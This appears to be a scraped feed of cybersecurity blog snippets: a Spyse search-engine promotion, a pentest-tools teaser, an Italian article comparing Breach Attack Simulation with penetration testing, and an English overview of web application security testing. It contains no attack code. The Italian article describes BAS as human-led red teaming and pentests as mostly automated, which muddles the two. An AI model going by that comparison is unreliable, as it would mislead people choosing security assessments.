in combination with advanced search. Users are able to explore cyberspace using CVE IDs or the actual security rating. For example: find all IPs related to the specific autonomous system, that have a security score lover than 20. How Specialists Benefit from SpyseThis search engine greatly improves the workflow and efficiency of cybersecurity specialists. With its expansive toolkit, security engineers can automate many processes which used to take up lots of time.

This service lets specialists quickly analyze their own cyberinfrastructures and wall-off hackers by sealing vulnerabilities as they come up.Bug bounty hunters can use this Spyse search engine when other methods are not allowed by bug bounty contracts. They can also quickly build target lists and avoid rate limits, which increases their output tenfold. Keep in mind that both pentesters and bug bounty hunters will remain undetected when performing mock attacks or looking for bugs. With its expansive toolkit and clever productivity-enhancing features, Spyse is a formidable service to use for anybody working in cybersecurity.

[teknologinow]

10 Pentest Tools Terbaik untuk Audit Web

Dalam era digital yang semakin berkembang, keamanan web adalah prioritas utama bagi setiap bisnis yang memiliki aplikasi online. Setiap aplikasi yang terhubung ke internet rentan terhadap berbagai ancaman seperti SQL Injection, Cross-Site Scripting (XSS), dan lainnya. Untuk mengidentifikasi dan memperbaiki kelemahan ini, penggunaan pentest tools sangat penting. Berikut adalah 10 pentest tools…

[geekscripts]

SQLMutant: Advanced Tool for SQL Injection | #Pentesting #RedTeam #SQLInjection #SQLi #SQLMutant #Hacking

[cyberfero]

Analisi della postura di sicurezza: guida al confronto tra BAS e penetration test

Estimated reading time: 7 minutes Valutare periodicamente la postura di sicurezza della propria organizzazione è fondamentale per identificare e mitigare rischi e vulnerabilità prima che vengano sfruttati in un attacco informatico. Due metodologie comunemente usate per analizzare la capacità di prevenzione e rilevamento delle difese IT sono il Breach Attack Simulation (BAS) e il penetration test. Questo articolo esamina nel dettaglio i vantaggi e svantaggi di ciascun approccio.

Cos'è un Breach Attack Simulation?

Il Breach Attack Simulation (BAS), noto anche come Red Teaming, è una forma avanzata di test di penetrazione che simula in modo realistico le tattiche e le tecniche utilizzate dagli hacker per violare le difese di un'organizzazione ed ottenere l'accesso a dati e asset critici. Il BAS prevede diverse fasi: - Ricognizione - Raccolta informazioni sull'organizzazione da fonti aperte e scansione dell'infrastruttura IT per identificare punti deboli. - Guadagno accesso iniziale - Sfruttamento di phishing mirato o vulnerabilità note per ottenere un primo punto d'appoggio nella rete target. - Escalation dei privilegi - Tentativo di muoversi lateralmente verso asset di alto valore, evadendo i controlli di segmentazione. - Azioni sull'obiettivo - Esfiltrazione di dati sensibili, modifica di configurazioni critiche, installazione di backdoor, etc. - Analisi post-intrusione - Report dettagliato per il cliente con timeline dell'attacco e raccomandazioni di miglioramento. L'obiettivo del BAS è validare l'efficacia di tool, policy e processi di cybersecurity contro tattiche realistiche di attacco.

Cos'è un penetration test?

Il penetration test, noto anche come pen test o ethical hacking, è l'esecuzione controllata di test d'intrusione e exploit contro un ambiente IT per identificarne vulnerabilità sfruttabili da potenziali attaccanti. Prevede diverse tipologie di verifiche: - Test black-box - simula un attaccante esterno che non ha informazioni sulla rete del target. - Test white-box - assume che l'attaccante abbia già compromesso un sistema interno. - Test grey-box - combina elementi del white e black-box con alcune informazioni fornite. Il penetration tester utilizza gli stessi strumenti e tecniche degli hacker per compromettere server, workstation, applicazioni web, reti wireless e altri punti d'accesso. Tutte le attività sono eseguite in modo controllato e soprattutto senza arrecare alcun danno, a differenza di un vero attacco malevolo.

Confronto tra BAS e penetration test

Sia il BAS che il pentest sono utili per validare le difese di sicurezza, ma presentano alcune differenze significative: Simulazione dell'intera kill chain dell'attacco Il BAS copre l'intera sequenza di tecniche utilizzate dagli attaccanti, dal phishing iniziale alla persistenza e all'esfiltrazione dei dati. I pentest si concentrano di solito su singoli vettori di attacco. Attacco realizzato da professionisti Il BAS viene eseguito da professionisti esperti del Red Teaming che replicano le avanzate tattiche di minaccia. I pentest usano tool automatizzati e tecniche standard. Analisi dell'impatto sul business Il BAS valuta l'impatto che un attacco avrebbe effettivamente sulle operation aziendali, non solo l'intrusione tecnica. Copertura dell'intera superficie di attacco Il BAS è progettato per testare l'intera superficie di attacco, interna ed esterna, dell'organizzazione. I pentest hanno spesso scope limitati. Report operativi Il BAS fornisce report dettagliati per i team SOC e di incident response. I pentest si focalizzano sull'identificazione tecnica di vulnerabilità. Rilevanza contro il threat landscape moderno Il BAS riflette le tattiche in continua evoluzione degli attaccanti reali. I pentest tradizionali non tengono il passo con le minacce odierne.

Vantaggi del Breach Attack Simulation

Scegliere un BAS come soluzione per analizzare la postura di sicurezza offre diversi vantaggi: - Simulazione realistica - mette alla prova gli incident responder con avversari simulati capaci e motivati. - Identificazione delle debolezze - evidenzia lacune nei controlli di sicurezza critici a protezione dei crown jewel aziendali. - Validazione dell'efficacia - verifica se strumenti come SIEM, XDR e NGFW sono in grado di rilevare e prevenire tecniche avanzate di attacco. - Prioritizzazione delle azioni - basata sulla comprensione dell'impatto che ogni vulnerabilità può avere sul business. - Benchmark delle capacità - misurazione quantitativa della maturità della cybersecurity dell'organizzazione. - Compliance��- supporta il rispetto di requisiti normativi sulla valutazione del rischio. - Formazione continua - migliora le competenze dei team interni attraverso la simulazione di incidenti realistici.

Svantaggi del Breach Attack Simulation

Il BAS presenta anche alcuni potenziali svantaggi: - Costi elevati - richiede consulenti di alto livello e sforzo significativo per progettare gli scenari. - Possibili impatti sulle operation - se le attività di red team non sono pianificate e comunicate con cura. - Copertura non completa - difficile simulare in modo credibile tutte le combinazioni di attacco possibili. - Security awareness - i dipendenti potrebbero non comprendere la natura etica e a fini costruttivi del BAS. - Limiti al realismo - vincoli legali o operativi possono proibire tecniche troppo invasive. Per questo è importante affidarsi a fornitori esperti in grado di bilanciare realismo e sicurezza durante l'esecuzione di un BAS.

Vantaggi del penetration test

Scegliere un approccio di penetration test tradizionale presenta alcuni vantaggi: - Facilità di esecuzione - test standardizzati eseguibili in modo totalmente automatizzato. - Costi contenuti - l'automazione riduce il tempo e lo sforzo richiesto agli analisti. - Cura dei dettagli tecnici - focalizzazione specifica sulle vulnerabilità da sfruttare tecnicamente. - Requisiti normativi - molte normative richiedono esplicitamente il penetration test periodico. - Scarsi impatti business - essendo puramente tecnico, non influisce sulle operation durante l'esecuzione.

Svantaggi del penetration test

Il penetration test presenta però anche alcuni limiti: - Mancanza di realismo - gli exploit automatizzati non riflettono il comportamento degli attaccanti umani. - Falsi positivi - i tool generano molti allarmi che però non rappresentano minacce reali. - Falsi negativi - vulnerabilità critiche possono non essere rilevate dalle scansioni. - Prioritizzazione difficile - non valuta quali vulnerabilità avrebbero più impatto sul business. - No skill assessment - non testa la capacità degli analisti di rilevare e rispondere ad attacchi avanzati. - Copertura limitata - spesso il test è ristretto a singoli vettori come rete, applicazioni o endpoint. - Evasione dei controlli - gli strumenti automated non sono in grado di bypassare contromisure come gli honeypot. Di conseguenza, un approccio puramente tecnico di penetration test non è sufficiente per validare l'efficacia complessiva della cybersecurity di un'organizzazione.

BAS e penetration test per migliorare la postura di sicurezza

Sia il Breach Attack Simulation che il penetration test hanno ampi margini di miglioramento. Un approccio ibrido che li combina può colmare le lacune di ciascuno e fornire una validazione davvero completa delle difese aziendali. Il BAS consente di: - Simulare credibilmente la parte "arte" degli attacchi che richiede competenze umane. - Valutare le difese da una prospettiva di impatto sul business. - Misurare le capacità di rilevamento e risposta degli analisti interni. Successivamente, il penetration test aggiunge: - Un livello di dettaglio tecnico impossibile da ottenere manualmente. - La conferma puntuale dell'esistenza di vulnerabilità specifiche. - Una copertura capillare a largo raggio su diverse tipologie di asset. Infine, per mantenere costantemente aggiornato il quadro dei rischi, entrambe le attività vanno eseguite in modo continuativo e programmato nel tempo. In questo modo si ottiene una visione davvero completa dei punti di forza e debolezza della strategia di cybersecurity, guidando il miglioramento progressivo della postura di sicurezza.

Ruolo dei Managed Security Service Provider

Per le organizzazioni che non dispongono internamente di competenze specialistiche, affidarsi a fornitori qualificati di servizi gestiti di security (MSSP) è la scelta migliore per implementare attività complesse come il BAS e il penetration test continuativo. I principali vantaggi includono: - Esperienza specifica - gli MSSP hanno personale dedicato esperto di simulazioni di attacco e test d'intrusione - Strumenti avanzati - accesso a tecnologie costose per eseguire BAS e pentest su larga scala - Copertura 24x7 - possibilità di eseguire test continuativi grazie ai security operation center che operano senza sosta - Risparmio - i costi fissi vengono ammortizzati su molteplici clienti - Risultati migliori - competenze approfondite per fornire indicazioni di rimediation mirate e ad alto impatto - Conformità - servizi certificati ISO e compatibili con requisiti normativi Affidandosi ad MSSP qualificati, il BAS e il penetration test si integrano perfettamente in una strategia completa di miglioramento della postura di sicurezza, proteggendo l'organizzazione in modo proattivo e continuo.

Conclusione

Sia il Breach Attack Simulation che il penetration test ricoprono un ruolo importante nella valutazione della postura di sicurezza aziendale. Il BAS consente di validare l'efficacia delle difese contro avversari simulati ma altamente capaci. Il pentest aggiunge una conferma tecnica puntuale delle vulnerabilità. Per una visione davvero completa, le organizzazioni dovrebbero adottare un approccio ibrido che combini i due metodi in modo ricorrente. Affidandosi a fornitori qualificati di servizi gestiti di security, è possibile implementare programmi continuativi di BAS e penetration test per identificare e mitigare proattivamente i rischi, migliorando e mantenendo un'elevata postura di cybersecurity. - Penetration test vs. Breach Attack Simulation: differenze e vantaggi per una sicurezza informatica completa - Analisi della postura di sicurezza: guida completa per rafforzare la cybersecurity - BAS (Breach Attack Simulation): cos'è e come funziona Read the full article

[ameliajonas24]

Security Testing Approach for Web Application Testing

Introduction:

Due to the increasing number of cyber threats and data breaches in today's digital landscape, web application security has become critical. A solid security testing strategy is required to uncover vulnerabilities and secure sensitive information. This blog will provide an overview of web application security testing service, its types, the importance of not neglecting it, common terms used in web security testing, manual testing procedures, and an outline of the testing methodology. Additionally, we will explore web security testing tools, with a focus on Astra's Pentest Solution, to aid in achieving a secure web application environment.

What is Web Application Security Testing?

Web Application Security Testing is the process of assessing the security of web applications in order to detect flaws, vulnerabilities, and gaps. By conducting meticulous security testing, organizations can detect and mitigate potential risks like malware, data breaches, and cyberattacks.

Types of Web Application Security Testing:

1. Black-box Security Testing:

With no prior understanding of the system, black-box security testing forces the tester to think like a hacker. It involves attempting to break into the application using methods an external attacker might employ. This approach helps uncover vulnerabilities from an outsider's perspective.

2. White-box Security Testing:

White-box security testing is carried out with complete understanding of the system and access to its internal workings. Testers assess the codebase, API documentation, and overall design to identify vulnerabilities comprehensively. This method provides a comprehensive picture of the application's security state. 

3. Gray-box Security Testing:

Gray-box security testing falls somewhere between black-box and white-box security testing.  Testers have limited knowledge of the system, simulating a scenario where an attacker has partial information about the application. This approach allows focused attacks, minimizing trial-and-error methods.

Continue Reading...